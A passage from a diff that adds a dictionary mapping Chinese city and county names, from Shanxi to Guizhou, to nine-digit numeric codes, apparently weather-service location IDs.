+ '山阴': 101100903, '右玉': 101100904, '应县': 101100905, '怀仁': 101100906, '忻州': 101101001,
+ '定襄': 101101002,
+ '五台县豆村': 101101003, '河曲': 101101004, '偏关': 101101005, '神池': 101101006, '宁武': 101101007,
+ '代县': 101101008,
+ '繁峙': 101101009, '五台山': 101101010, '保德': 101101011, '静乐': 101101012, '岢岚': 101101013,
+ '五寨': 101101014,
+ '原平': 101101015, '吕梁': 101101100, '离石': 101101101, '临县': 101101102, '兴县': 101101103,
+ '岚县': 101101104,
+ '柳林': 101101105, '石楼': 101101106, '方山': 101101107, '交口': 101101108, '中阳': 101101109,
+ '孝义': 101101110,
+ '汾阳': 101101111, '文水': 101101112, '交城': 101101113, '西安': 101110101, '长安': 101110102,
+ '临潼': 101110103,
+ '蓝田': 101110104, '周至': 101110105, '户县': 101110106, '高陵': 101110107, '杨凌': 101110108,
+ '咸阳': 101110200,
+ '三原': 101110201, '礼泉': 101110202, '永寿': 101110203, '淳化': 101110204, '泾阳': 101110205,
+ '武功': 101110206,
+ '乾县': 101110207, '彬县': 101110208, '长武': 101110209, '旬邑': 101110210, '兴平': 101110211,
+ '延安': 101110300,
+ '延长': 101110301, '延川': 101110302, '子长': 101110303, '宜川': 101110304, '富县': 101110305,
+ '志丹': 101110306,
+ '安塞': 101110307, '甘泉': 101110308, '洛川': 101110309, '黄陵': 101110310, '黄龙': 101110311,
+ '吴起': 101110312,
+ '榆林': 101110401, '府谷': 101110402, '神木': 101110403, '佳县': 101110404, '定边': 101110405,
+ '靖边': 101110406,
+ '横山': 101110407, '米脂': 101110408, '子洲': 101110409, '绥德': 101110410, '吴堡': 101110411,
+ '清涧': 101110412,
+ '渭南': 101110501, '华县': 101110502, '潼关': 101110503, '大荔': 101110504, '白水': 101110505,
+ '富平': 101110506,
+ '蒲城': 101110507, '澄城': 101110508, '合阳': 101110509, '韩城': 101110510, '华阴': 101110511,
+ '华山': 101110512,
+ '商洛': 101110601, '洛南': 101110602, '柞水': 101110603, '镇安': 101110605, '丹凤': 101110606,
+ '商南': 101110607,
+ '山阳': 101110608, '安康': 101110701, '紫阳': 101110702, '石泉': 101110703, '汉阴': 101110704,
+ '旬阳': 101110705,
+ '岚皋': 101110706, '平利': 101110707, '白河': 101110708, '镇坪': 101110709, '宁陕': 101110710,
+ '汉中': 101110801,
+ '略阳': 101110802, '勉县': 101110803, '留坝': 101110804, '洋县': 101110805, '城固': 101110806,
+ '西乡': 101110807,
+ '佛坪': 101110808, '宁强': 101110809, '南郑': 101110810, '镇巴': 101110811, '宝鸡': 101110901,
+ '宝鸡县': 101110902,
+ '千阳': 101110903, '麟游': 101110904, '岐山': 101110905, '凤翔': 101110906, '扶风': 101110907,
+ '眉县': 101110908,
+ '太白': 101110909, '凤县': 101110910, '陇县': 101110911, '铜川': 101111001, '耀县': 101111002,
+ '宜君': 101111003,
+ '济南': 101120101, '长清': 101120102, '商河': 101120103, '章丘': 101120104, '平阴': 101120105,
+ '济阳': 101120106,
+ '青岛': 101120201, '崂山': 101120202, '潮连岛': 101120203, '即墨': 101120204, '胶州': 101120205,
+ '胶南': 101120206,
+ '莱西': 101120207, '平度': 101120208, '淄博': 101120301, '淄川': 101120302, '博山': 101120303,
+ '高青': 101120304,
+ '周村': 101120305, '沂源': 101120306, '桓台': 101120307, '临淄': 101120308, '德州': 101120401,
+ '武城': 101120402,
+ '临邑': 101120403, '陵县': 101120404, '齐河': 101120405, '乐陵': 101120406, '庆云': 101120407,
+ '平原': 101120408,
+ '宁津': 101120409, '夏津': 101120410, '禹城': 101120411, '烟台': 101120501, '莱州': 101120502,
+ '长岛': 101120503,
+ '蓬莱': 101120504, '龙口': 101120505, '招远': 101120506, '栖霞': 101120507, '福山': 101120508,
+ '牟平': 101120509,
+ '莱阳': 101120510, '海阳': 101120511, '千里岩': 101120512, '潍坊': 101120601, '青州': 101120602,
+ '寿光': 101120603,
+ '临朐': 101120604, '昌乐': 101120605, '昌邑': 101120606, '安丘': 101120607, '高密': 101120608,
+ '诸城': 101120609,
+ '济宁': 101120701, '嘉祥': 101120702, '微山': 101120703, '鱼台': 101120704, '兖州': 101120705,
+ '金乡': 101120706,
+ '汶上': 101120707, '泗水': 101120708, '梁山': 101120709, '曲阜': 101120710, '邹城': 101120711,
+ '泰安': 101120801,
+ '新泰': 101120802, '泰山': 101120803, '肥城': 101120804, '东平': 101120805, '宁阳': 101120806,
+ '临沂': 101120901,
+ '莒南': 101120902, '沂南': 101120903, '苍山': 101120904, '临沭': 101120905, '郯城': 101120906,
+ '蒙阴': 101120907,
+ '平邑': 101120908, '费县': 101120909, '沂水': 101120910, '马站': 101120911, '菏泽': 101121001,
+ '鄄城': 101121002,
+ '郓城': 101121003, '东明': 101121004, '定陶': 101121005, '巨野': 101121006, '曹县': 101121007,
+ '成武': 101121008,
+ '单县': 101121009, '滨州': 101121101, '博兴': 101121102, '无棣': 101121103, '阳信': 101121104,
+ '惠民': 101121105,
+ '沾化': 101121106, '邹平': 101121107, '东营': 101121201, '河口': 101290114, '垦利': 101121203,
+ '利津': 101121204,
+ '广饶': 101121205, '威海': 101121301, '文登': 101121302, '荣成': 101121303, '乳山': 101121304,
+ '成山头': 101121305,
+ '石岛': 101121306, '枣庄': 101121401, '薛城': 101121402, '峄城': 101121403, '台儿庄': 101121404,
+ '滕州': 101121405,
+ '日照': 101121501, '五莲': 101121502, '莒县': 101121503, '莱芜': 101121601, '聊城': 101121701,
+ '冠县': 101121702,
+ '阳谷': 101121703, '高唐': 101121704, '茌平': 101121705, '东阿': 101121706, '临清': 101121707,
+ '朝城': 101121708,
+ '莘县': 101121709, '乌鲁木齐': 101130101, '蔡家湖': 101130102, '小渠子': 101130103, '巴仑台': 101130104,
+ '达坂城': 101130105,
+ '十三间房气象站': 101130106, '天山大西沟': 101130107, '乌鲁木齐牧试站': 101130108, '白杨沟': 101130110,
+ '克拉玛依': 101130201,
+ '石河子': 101130301, '炮台': 101130302, '莫索湾': 101130303, '乌兰乌苏': 101130304, '昌吉': 101130401,
+ '呼图壁': 101130402,
+ '米泉': 101130403, '阜康': 101130404, '吉木萨尔': 101130405, '奇台': 101130406, '玛纳斯': 101130407,
+ '木垒': 101130408,
+ '北塔山': 101130409, '吐鲁番': 101130501, '托克逊': 101130502, '吐鲁番东坎': 101130503, '鄯善': 101130504,
+ '红柳河': 101130505,
+ '库尔勒': 101130601, '轮台': 101130602, '尉犁': 101130603, '若羌': 101130604, '且末': 101130605,
+ '和静': 101130606,
+ '焉耆': 101130607, '和硕': 101130608, '库米什': 101130609, '巴音布鲁克': 101130610, '铁干里克': 101130611,
+ '博湖': 101130612,
+ '塔中': 101130613, '阿拉尔': 101130701, '阿克苏': 101130801, '乌什': 101130802, '温宿': 101130803,
+ '拜城': 101130804,
+ '新和': 101130805, '沙雅': 101130806, '库车': 101130807, '柯坪': 101130808, '阿瓦提': 101130809,
+ '喀什': 101130901,
+ '英吉沙': 101130902, '塔什库尔干': 101130903, '麦盖提': 101130904, '莎车': 101130905, '叶城': 101130906,
+ '泽普': 101130907,
+ '巴楚': 101130908, '岳普湖': 101130909, '伽师': 101130910, '伊宁': 101131001, '察布查尔': 101131002,
+ '尼勒克': 101131003,
+ '伊宁县': 101131004, '巩留': 101131005, '新源': 101131006, '昭苏': 101131007, '特克斯': 101131008,
+ '霍城': 101131009,
+ '霍尔果斯': 101131010, '塔城': 101131101, '裕民': 101131102, '额敏': 101131103, '和布克赛尔': 101131104,
+ '托里': 101131105,
+ '乌苏': 101131106, '沙湾': 101131107, '和丰': 101131108, '哈密': 101131201, '沁城': 101131202,
+ '巴里坤': 101131203,
+ '伊吾': 101131204, '淖毛湖': 101131205, '和田': 101131301, '皮山': 101131302, '策勒': 101131303,
+ '墨玉': 101131304,
+ '洛浦': 101131305, '民丰': 101131306, '于田': 101131307, '阿勒泰': 101131401, '哈巴河': 101131402,
+ '一八五团': 101131403,
+ '黑山头': 101131404, '吉木乃': 101131405, '布尔津': 101131406, '福海': 101131407, '富蕴': 101131408,
+ '青河': 101131409,
+ '安德河': 101131410, '阿图什': 101131501, '乌恰': 101131502, '阿克陶': 101131503, '阿合奇': 101131504,
+ '吐尔尕特': 101131505,
+ '博乐': 101131601, '温泉': 101131602, '精河': 101131603, '阿拉山口': 101131606, '拉萨': 101140101,
+ '当雄': 101140102,
+ '尼木': 101140103, '墨竹贡卡': 101140104, '日喀则': 101140201, '拉孜': 101140202, '南木林': 101140203,
+ '聂拉木': 101140204,
+ '定日': 101140205, '江孜': 101140206, '帕里': 101140207, '山南': 101140301, '贡嘎': 101140302,
+ '琼结': 101140303,
+ '加查': 101140304, '浪卡子': 101140305, '错那': 101140306, '隆子': 101140307, '泽当': 101140308,
+ '林芝': 101140401,
+ '波密': 101140402, '米林': 101140403, '察隅': 101140404, '昌都': 101140501, '丁青': 101140502,
+ '类乌齐': 101140503,
+ '洛隆': 101140504, '左贡': 101140505, '芒康': 101140506, '八宿': 101140507, '那曲': 101140601,
+ '嘉黎': 101140603,
+ '班戈': 101140604, '安多': 101140605, '索县': 101140606, '比如': 101140607, '阿里': 101140701,
+ '改则': 101140702,
+ '申扎': 101140703, '狮泉河': 101140704, '普兰': 101140705, '西宁': 101150101, '大通': 101150102,
+ '湟源': 101150103,
+ '湟中': 101150104, '铁卜加': 101150105, '铁卜加寺': 101150106, '中心站': 101150107, '海东': 101150201,
+ '乐都': 101150202,
+ '民和': 101150203, '互助': 101150204, '化隆': 101150205, '循化': 101150206, '冷湖': 101150207,
+ '平安': 101150208,
+ '黄南': 101150301, '尖扎': 101150302, '泽库': 101150303, '海南': 101150401, '江西沟': 101150402,
+ '贵德': 101150404,
+ '河卡': 101150405, '兴海': 101150406, '贵南': 101150407, '同德': 101150408, '共和': 101150409,
+ '果洛': 101150501,
+ '班玛': 101150502, '甘德': 101150503, '达日': 101150504, '久治': 101150505, '玛多': 101150506,
+ '玛沁': 101150508,
+ '玉树': 101150601, '托托河': 101150602, '治多': 101150603, '杂多': 101150604, '囊谦': 101150605,
+ '曲麻莱': 101150606,
+ '海西': 101150701, '格尔木': 101150702, '察尔汉': 101150703, '野牛沟': 101150704, '五道梁': 101150705,
+ '小灶火': 101150706,
+ '天峻': 101150708, '乌兰': 101150709, '都兰': 101150710, '诺木洪': 101150711, '茫崖': 101150712,
+ '大柴旦': 101150713,
+ '茶卡': 101150714, '香日德': 101150715, '德令哈': 101150716, '海北': 101150801, '门源': 101150802,
+ '祁连': 101150803,
+ '海晏': 101150804, '托勒': 101150805, '刚察': 101150806, '兰州': 101160101, '皋兰': 101160102,
+ '永登': 101160103,
+ '榆中': 101160104, '定西': 101160201, '通渭': 101160202, '陇西': 101160203, '渭源': 101160204,
+ '临洮': 101160205,
+ '漳县': 101160206, '岷县': 101160207, '安定': 101160208, '平凉': 101160301, '泾川': 101160302,
+ '灵台': 101160303,
+ '崇信': 101160304, '华亭': 101160305, '庄浪': 101160306, '静宁': 101160307, '崆峒': 101160308,
+ '庆阳': 101160401,
+ '西峰': 101160402, '环县': 101160403, '华池': 101160404, '合水': 101160405, '正宁': 101160406,
+ '宁县': 101160407,
+ '镇原': 101160408, '庆城': 101160409, '武威': 101160501, '民勤': 101160502, '古浪': 101160503,
+ '乌鞘岭': 101160504,
+ '天祝': 101160505, '金昌': 101160601, '永昌': 101160602, '张掖': 101160701, '肃南': 101160702,
+ '民乐': 101160703,
+ '临泽': 101160704, '高台': 101160705, '山丹': 101160706, '酒泉': 101160801, '鼎新': 101160802,
+ '金塔': 101160803,
+ '马鬃山': 101160804, '瓜州': 101160805, '肃北': 101160806, '玉门镇': 101160807, '敦煌': 101160808,
+ '天水': 101160901,
+ '北道区': 101160902, '清水': 101160903, '秦安': 101160904, '甘谷': 101160905, '武山': 101160906,
+ '张家川': 101160907,
+ '麦积': 101160908, '武都': 101161001, '成县': 101161002, '文县': 101161003, '宕昌': 101161004,
+ '康县': 101161005,
+ '西和': 101161006, '礼县': 101161007, '徽县': 101161008, '两当': 101161009, '临夏': 101161101,
+ '康乐': 101161102,
+ '永靖': 101161103, '广河': 101161104, '和政': 101161105, '东乡': 101240411, '合作': 101161201,
+ '临潭': 101161202,
+ '卓尼': 101161203, '舟曲': 101161204, '迭部': 101161205, '玛曲': 101161206, '碌曲': 101161207,
+ '夏河': 101161208,
+ '白银': 101161301, '靖远': 101161302, '会宁': 101161303, '华家岭': 101161304, '景泰': 101161305,
+ '银川': 101170101,
+ '永宁': 101170102, '灵武': 101170103, '贺兰': 101170104, '石嘴山': 101170201, '惠农': 101170202,
+ '平罗': 101170203,
+ '陶乐': 101170204, '石炭井': 101170205, '大武口': 101170206, '吴忠': 101170301, '同心': 101170302,
+ '盐池': 101170303,
+ '韦州': 101170304, '麻黄山': 101170305, '青铜峡': 101170306, '固原': 101170401, '西吉': 101170402,
+ '隆德': 101170403,
+ '泾源': 101170404, '六盘山': 101170405, '彭阳': 101170406, '中卫': 101170501, '中宁': 101170502,
+ '兴仁堡': 101170503,
+ '海原': 101170504, '郑州': 101180101, '巩义': 101180102, '荥阳': 101180103, '登封': 101180104,
+ '新密': 101180105,
+ '新郑': 101180106, '中牟': 101180107, '郑州农试站': 101180108, '安阳': 101180201, '汤阴': 101180202,
+ '滑县': 101180203,
+ '内黄': 101180204, '林州': 101180205, '新乡': 101180301, '获嘉': 101180302, '原阳': 101180303,
+ '辉县': 101180304,
+ '卫辉': 101180305, '延津': 101180306, '封丘': 101180307, '长垣': 101180308, '许昌': 101180401,
+ '鄢陵': 101180402,
+ '襄城': 101180403, '长葛': 101180404, '禹州': 101180405, '平顶山': 101180501, '郏县': 101180502,
+ '宝丰': 101180503,
+ '汝州': 101180504, '叶县': 101180505, '舞钢': 101180506, '鲁山': 101180507, '信阳': 101180601,
+ '息县': 101180602,
+ '罗山': 101180603, '光山': 101180604, '新县': 101180605, '淮滨': 101180606, '潢川': 101180607,
+ '固始': 101180608,
+ '商城': 101180609, '鸡公山': 101180610, '信阳地区农试站': 101180611, '南阳': 101180701, '南召': 101180702,
+ '方城': 101180703,
+ '社旗': 101180704, '西峡': 101180705, '内乡': 101180706, '镇平': 101180707, '淅川': 101180708,
+ '新野': 101180709,
+ '唐河': 101180710, '邓州': 101180711, '桐柏': 101180712, '开封': 101180801, '杞县': 101180802,
+ '尉氏': 101180803,
+ '通许': 101180804, '兰考': 101180805, '洛阳': 101180901, '新安': 101180902, '孟津': 101180903,
+ '宜阳': 101180904,
+ '洛宁': 101180905, '伊川': 101180906, '嵩县': 101180907, '偃师': 101180908, '栾川': 101180909,
+ '汝阳': 101180910,
+ '商丘': 101181001, '睢阳区': 101181002, '睢县': 101181003, '民权': 101181004, '虞城': 101181005,
+ '柘城': 101181006,
+ '宁陵': 101181007, '夏邑': 101181008, '永城': 101181009, '焦作': 101181101, '修武': 101181102,
+ '武陟': 101181103,
+ '沁阳': 101181104, '博爱': 101181106, '温县': 101181107, '孟州': 101181108, '鹤壁': 101181201,
+ '浚县': 101181202,
+ '淇县': 101181203, '濮阳': 101181301, '台前': 101181302, '南乐': 101181303, '清丰': 101181304,
+ '范县': 101181305,
+ '周口': 101181401, '扶沟': 101181402, '太康': 101181403, '淮阳': 101181404, '西华': 101181405,
+ '商水': 101181406,
+ '项城': 101181407, '郸城': 101181408, '鹿邑': 101181409, '沈丘': 101181410, '黄泛区': 101181411,
+ '漯河': 101181501,
+ '临颍': 101181502, '舞阳': 101181503, '驻马店': 101181601, '西平': 101181602, '遂平': 101181603,
+ '上蔡': 101181604,
+ '汝南': 101181605, '泌阳': 101181606, '平舆': 101181607, '新蔡': 101181608, '确山': 101181609,
+ '正阳': 101181610,
+ '三门峡': 101181701, '灵宝': 101181702, '渑池': 101181703, '卢氏': 101181704, '济源': 101181801,
+ '南京': 101190101,
+ '溧水': 101190102, '高淳': 101190103, '江宁': 101190104, '六合': 101190105, '江浦': 101190106,
+ '浦口': 101190107,
+ '无锡': 101190201, '江阴': 101190202, '宜兴': 101190203, '镇江': 101190301, '丹阳': 101190302,
+ '扬中': 101190303,
+ '句容': 101190304, '丹徒': 101190305, '苏州': 101190401, '常熟': 101190402, '张家港': 101190403,
+ '昆山': 101190404,
+ '吴县东山': 101190405, '吴县': 101190406, '吴江': 101190407, '太仓': 101190408, '南通': 101190501,
+ '海安': 101190502,
+ '如皋': 101190503, '如东': 101190504, '吕泗': 101190505, '吕泗渔场': 101190506, '启东': 101190507,
+ '海门': 101190508,
+ '扬州': 101190601, '宝应': 101190602, '仪征': 101190603, '高邮': 101190604, '江都': 101190605,
+ '邗江': 101190606,
+ '盐城': 101190701, '响水': 101190702, '滨海': 101190703, '阜宁': 101190704, '射阳': 101190705,
+ '建湖': 101190706,
+ '东台': 101190707, '大丰': 101190708, '盐都': 101190709, '徐州': 101190801, '徐州农试站': 101190802,
+ '丰县': 101190803,
+ '沛县': 101190804, '邳州': 101190805, '睢宁': 101190806, '新沂': 101190807, '淮安': 101190901,
+ '金湖': 101190902,
+ '盱眙': 101190903, '洪泽': 101190904, '涟水': 101190905, '淮阴县': 101190906, '淮阴': 101190907,
+ '楚州': 101190908,
+ '连云港': 101191001, '东海': 101191002, '赣榆': 101191003, '灌云': 101191004, '灌南': 101191005,
+ '西连岛': 101191006,
+ '燕尾港': 101191007, '常州': 101191101, '溧阳': 101191102, '金坛': 101191103, '泰州': 101191201,
+ '兴化': 101191202,
+ '泰兴': 101191203, '姜堰': 101191204, '靖江': 101191205, '宿迁': 101191301, '沭阳': 101191302,
+ '泗阳': 101191303,
+ '泗洪': 101191304, '武汉': 101200101, '蔡甸': 101200102, '黄陂': 101200103, '新洲': 101200104,
+ '江夏': 101200105,
+ '襄樊': 101200201, '襄阳': 101200202, '保康': 101200203, '南漳': 101200204, '宜城': 101200205,
+ '老河口': 101200206,
+ '谷城': 101200207, '枣阳': 101200208, '鄂州': 101200301, '孝感': 101200401, '安陆': 101200402,
+ '云梦': 101200403,
+ '大悟': 101200404, '应城': 101200405, '汉川': 101200406, '黄冈': 101200501, '红安': 101200502,
+ '麻城': 101200503,
+ '罗田': 101200504, '英山': 101200505, '浠水': 101200506, '蕲春': 101200507, '黄梅': 101200508,
+ '武穴': 101200509,
+ '黄石': 101200601, '大冶': 101200602, '阳新': 101200603, '咸宁': 101200701, '赤壁': 101200702,
+ '嘉鱼': 101200703,
+ '崇阳': 101200704, '通城': 101200705, '通山': 101200706, '荆州': 101200801, '江陵': 101200802,
+ '公安': 101200803,
+ '石首': 101200804, '监利': 101200805, '洪湖': 101200806, '松滋': 101200807, '宜昌': 101200901,
+ '远安': 101200902,
+ '秭归': 101200903, '兴山': 101200904, '宜昌县': 101200905, '五峰': 101200906, '当阳': 101200907,
+ '长阳': 101200908,
+ '宜都': 101200909, '枝江': 101200910, '三峡': 101200911, '夷陵': 101200912, '恩施': 101201001,
+ '利川': 101201002,
+ '建始': 101201003, '咸丰': 101201004, '宣恩': 101201005, '鹤峰': 101201006, '来凤': 101201007,
+ '巴东': 101201008,
+ '绿葱坡': 101201009, '十堰': 101201101, '竹溪': 101201102, '郧西': 101201103, '郧县': 101201104,
+ '竹山': 101201105,
+ '房县': 101201106, '丹江口': 101201107, '神农架': 101201201, '随州': 101201301, '广水': 101201302,
+ '荆门': 101201401,
+ '钟祥': 101201402, '京山': 101201403, '天门': 101201501, '仙桃': 101201601, '潜江': 101201701,
+ '杭州': 101210101,
+ '萧山': 101210102, '桐庐': 101210103, '淳安': 101210104, '建德': 101210105, '余杭': 101210106,
+ '临安': 101210107,
+ '富阳': 101210108, '湖州': 101210201, '长兴': 101210202, '安吉': 101210203, '德清': 101210204,
+ '嘉兴': 101210301,
+ '嘉善': 101210302, '海宁': 101210303, '桐乡': 101210304, '平湖': 101210305, '海盐': 101210306,
+ '宁波': 101210401,
+ '慈溪': 101210403, '余姚': 101210404, '奉化': 101210405, '象山': 101210406, '石浦': 101210407,
+ '宁海': 101210408,
+ '鄞县': 101210409, '北仑': 101210410, '鄞州': 101210411, '镇海': 101210412, '绍兴': 101210501,
+ '诸暨': 101210502,
+ '上虞': 101210503, '新昌': 101210504, '嵊州': 101210505, '台州': 101210601, '括苍山': 101210602,
+ '玉环': 101210603,
+ '三门': 101210604, '天台': 101210605, '仙居': 101210606, '温岭': 101210607, '大陈': 101210608,
+ '洪家': 101210609,
+ '温州': 101210701, '泰顺': 101210702, '文成': 101210703, '平阳': 101210704, '瑞安': 101210705,
+ '洞头': 101210706,
+ '乐清': 101210707, '永嘉': 101210708, '苍南': 101210709, '丽水': 101210801, '遂昌': 101210802,
+ '龙泉': 101210803,
+ '缙云': 101210804, '青田': 101210805, '云和': 101210806, '庆元': 101210807, '金华': 101210901,
+ '浦江': 101210902,
+ '兰溪': 101210903, '义乌': 101210904, '东阳': 101210905, '武义': 101210906, '永康': 101210907,
+ '磐安': 101210908,
+ '衢州': 101211001, '常山': 101211002, '开化': 101211003, '龙游': 101211004, '江山': 101211005,
+ '舟山': 101211101,
+ '嵊泗': 101211102, '嵊山': 101211103, '岱山': 101211104, '普陀': 101211105, '定海': 101211106,
+ '合肥': 101220101,
+ '长丰': 101220102, '肥东': 101220103, '肥西': 101220104, '蚌埠': 101220201, '怀远': 101220202,
+ '固镇': 101220203,
+ '五河': 101220204, '芜湖': 101220301, '繁昌': 101220302, '芜湖县': 101220303, '南陵': 101220304,
+ '淮南': 101220401,
+ '凤台': 101220402, '马鞍山': 101220501, '当涂': 101220502, '安庆': 101220601, '枞阳': 101220602,
+ '太湖': 101220603,
+ '潜山': 101220604, '怀宁': 101220605, '宿松': 101220606, '望江': 101220607, '岳西': 101220608,
+ '桐城': 101220609,
+ '宿州': 101220701, '砀山': 101220702, '灵璧': 101220703, '泗县': 101220704, '萧县': 101220705,
+ '阜阳': 101220801,
+ '阜南': 101220802, '颍上': 101220803, '临泉': 101220804, '界首': 101220805, '太和': 101220806,
+ '亳州': 101220901,
+ '涡阳': 101220902, '利辛': 101220903, '蒙城': 101220904, '黄山站': 101221001, '黄山区': 101221002,
+ '屯溪': 101221003,
+ '祁门': 101221004, '黟县': 101221005, '歙县': 101221006, '休宁': 101221007, '黄山市': 101221008,
+ '滁州': 101221101,
+ '凤阳': 101221102, '明光': 101221103, '定远': 101221104, '全椒': 101221105, '来安': 101221106,
+ '天长': 101221107,
+ '淮北': 101221201, '濉溪': 101221202, '铜陵': 101221301, '宣城': 101221401, '泾县': 101221402,
+ '旌德': 101221403,
+ '宁国': 101221404, '绩溪': 101221405, '广德': 101221406, '郎溪': 101221407, '六安': 101221501,
+ '霍邱': 101221502,
+ '寿县': 101221503, '南溪': 101271104, '金寨': 101221505, '霍山': 101221506, '舒城': 101221507,
+ '巢湖': 101221601,
+ '庐江': 101221602, '无为': 101221603, '含山': 101221604, '和县': 101221605, '池州': 101221701,
+ '东至': 101221702,
+ '青阳': 101221703, '九华山': 101221704, '石台': 101221705, '福州': 101230101, '闽清': 101230102,
+ '闽侯': 101230103,
+ '罗源': 101230104, '连江': 101230105, '马祖': 101230106, '永泰': 101230107, '平潭': 101230108,
+ '福州郊区': 101230109,
+ '长乐': 101230110, '福清': 101230111, '平潭海峡大桥': 101230112, '厦门': 101230201, '同安': 101230202,
+ '宁德': 101230301,
+ '古田': 101230302, '霞浦': 101230303, '寿宁': 101230304, '周宁': 101230305, '福安': 101230306,
+ '柘荣': 101230307,
+ '福鼎': 101230308, '屏南': 101230309, '莆田': 101230401, '仙游': 101230402, '秀屿港': 101230403,
+ '泉州': 101230501,
+ '安溪': 101230502, '九仙山': 101230503, '永春': 101230504, '德化': 101230505, '南安': 101230506,
+ '崇武': 101230507,
+ '晋江': 101230509, '漳州': 101230601, '长泰': 101230602, '南靖': 101230603, '平和': 101230604,
+ '龙海': 101230605,
+ '漳浦': 101230606, '诏安': 101230607, '东山': 101230608, '云霄': 101230609, '华安': 101230610,
+ '龙岩': 101230701,
+ '长汀': 101230702, '连城': 101230703, '武平': 101230704, '上杭': 101230705, '永定': 101230706,
+ '漳平': 101230707,
+ '三明': 101230801, '宁化': 101230802, '清流': 101230803, '泰宁': 101230804, '将乐': 101230805,
+ '建宁': 101230806,
+ '明溪': 101230807, '沙县': 101230808, '尤溪': 101230809, '永安': 101230810, '大田': 101230811,
+ '南平': 101230901,
+ '顺昌': 101230902, '光泽': 101230903, '邵武': 101230904, '武夷山': 101230905, '浦城': 101230906,
+ '建阳': 101230907,
+ '松溪': 101230908, '政和': 101230909, '建瓯': 101230910, '南昌': 101240101, '新建': 101240102,
+ '南昌县': 101240103,
+ '安义': 101240104, '进贤': 101240105, '莲塘': 101240106, '九江': 101240201, '瑞昌': 101240202,
+ '庐山': 101240203,
+ '武宁': 101240204, '德安': 101240205, '永修': 101240206, '湖口': 101240207, '彭泽': 101240208,
+ '星子': 101240209,
+ '都昌': 101240210, '棠荫': 101240211, '修水': 101240212, '上饶': 101240301, '鄱阳': 101240302,
+ '婺源': 101240303,
+ '康山': 101240304, '余干': 101240305, '万年': 101240306, '德兴': 101240307, '上饶县': 101240308,
+ '弋阳': 101240309,
+ '横峰': 101240310, '铅山': 101240311, '玉山': 101340903, '广丰': 101240313, '波阳': 101240314,
+ '抚州': 101240401,
+ '广昌': 101240402, '乐安': 101240403, '崇仁': 101240404, '金溪': 101240405, '资溪': 101240406,
+ '宜黄': 101240407,
+ '南城': 101240408, '南丰': 101240409, '黎川': 101240410, '宜春': 101240501, '铜鼓': 101240502,
+ '宜丰': 101240503,
+ '万载': 101240504, '上高': 101240505, '靖安': 101240506, '奉新': 101240507, '高安': 101240508,
+ '樟树': 101240509,
+ '丰城': 101240510, '吉安': 101240601, '吉安县': 101240602, '吉水': 101240603, '新干': 101240604,
+ '峡江': 101240605,
+ '永丰': 101240606, '永新': 101240607, '井冈山': 101240608, '万安': 101240609, '遂川': 101240610,
+ '泰和': 101240611,
+ '安福': 101240612, '宁冈': 101240613, '赣州': 101240701, '崇义': 101240702, '上犹': 101240703,
+ '南康': 101240704,
+ '大余': 101240705, '信丰': 101240706, '宁都': 101240707, '石城': 101240708, '瑞金': 101240709,
+ '于都': 101240710,
+ '会昌': 101240711, '安远': 101240712, '全南': 101240713, '龙南': 101240714, '定南': 101240715,
+ '寻乌': 101240716,
+ '兴国': 101240717, '景德镇': 101240801, '乐平': 101240802, '萍乡': 101240901, '莲花': 101240902,
+ '新余': 101241001,
+ '分宜': 101241002, '鹰潭': 101241101, '余江': 101241102, '贵溪': 101241103, '长沙': 101250101,
+ '宁乡': 101250102,
+ '浏阳': 101250103, '马坡岭': 101250104, '湘潭': 101250201, '韶山': 101250202, '湘乡': 101250203,
+ '株洲': 101250301,
+ '攸县': 101250302, '醴陵': 101250303, '株洲县': 101250304, '茶陵': 101250305, '炎陵': 101250306,
+ '衡阳': 101250401,
+ '衡山': 101250402, '衡东': 101250403, '祁东': 101250404, '衡阳县': 101250405, '常宁': 101250406,
+ '衡南': 101250407,
+ '耒阳': 101250408, '南岳': 101250409, '郴州': 101250501, '桂阳': 101250502, '嘉禾': 101250503,
+ '宜章': 101250504,
+ '临武': 101250505, '桥口': 101250506, '资兴': 101250507, '汝城': 101250508, '安仁': 101250509,
+ '永兴': 101250510,
+ '桂东': 101250511, '常德': 101250601, '安乡': 101250602, '桃源': 101250603, '汉寿': 101250604,
+ '澧县': 101250605,
+ '临澧': 101250606, '石门': 101250607, '益阳': 101250700, '赫山区': 101250701, '南县': 101250702,
+ '桃江': 101250703,
+ '安化': 101250704, '沅江': 101250705, '娄底': 101250801, '双峰': 101250802, '冷水江': 101250803,
+ '冷水滩': 101250804,
+ '新化': 101250805, '涟源': 101250806, '邵阳': 101250901, '隆回': 101250902, '洞口': 101250903,
+ '新邵': 101250904,
+ '邵东': 101250905, '绥宁': 101250906, '新宁': 101250907, '武冈': 101250908, '城步': 101250909,
+ '邵阳县': 101250910,
+ '岳阳': 101251001, '华容': 101251002, '湘阴': 101251003, '汨罗': 101251004, '平江': 101251005,
+ '临湘': 101251006,
+ '张家界': 101251101, '桑植': 101251102, '慈利': 101251103, '怀化': 101251201, '鹤城区': 101251202,
+ '沅陵': 101251203,
+ '辰溪': 101251204, '靖州': 101251205, '会同': 101251206, '通道': 101251207, '麻阳': 101251208,
+ '新晃': 101251209,
+ '芷江': 101251210, '溆浦': 101251211, '黔阳': 101251301, '洪江': 101251302, '永州': 101251401,
+ '祁阳': 101251402,
+ '东安': 101251403, '双牌': 101251404, '道县': 101251405, '宁远': 101251406, '江永': 101251407,
+ '蓝山': 101251408,
+ '新田': 101251409, '江华': 101251410, '吉首': 101251501, '保靖': 101251502, '永顺': 101251503,
+ '古丈': 101251504,
+ '凤凰': 101251505, '泸溪': 101251506, '龙山': 101251507, '花垣': 101251508, '贵阳': 101260101,
+ '白云': 101260102,
+ '花溪': 101260103, '乌当': 101260104, '息烽': 101260105, '开阳': 101260106, '修文': 101260107,
+ '清镇': 101260108,
+ '遵义': 101260201, '遵义县': 101260202, '仁怀': 101260203, '绥阳': 101260204, '湄潭': 101260205,
+ '凤冈': 101260206,
+ '桐梓': 101260207, '赤水': 101260208, '习水': 101260209, '道真': 101260210, '正安': 101260211,
+ '务川': 101260212,
+ '余庆': 101260213, '汇川': 101260214, '安顺': 101260301, '普定': 101260302, '镇宁': 101260303,
+ '平坝': 101260304,
+ '紫云': 101260305, '关岭': 101260306, '都匀': 101260401, '贵定': 101260402, '瓮安': 101260403,
+ '长顺': 101260404,
+ '福泉': 101260405, '惠水': 101260406, '龙里': 101260407, '罗甸': 101260408, '平塘': 101260409,
+ '独山': 101260410,
+ '三都': 101260411, '荔波': 101260412, '凯里': 101260501, '岑巩': 101260502, '施秉': 101260503,
+ '镇远': 101260504,
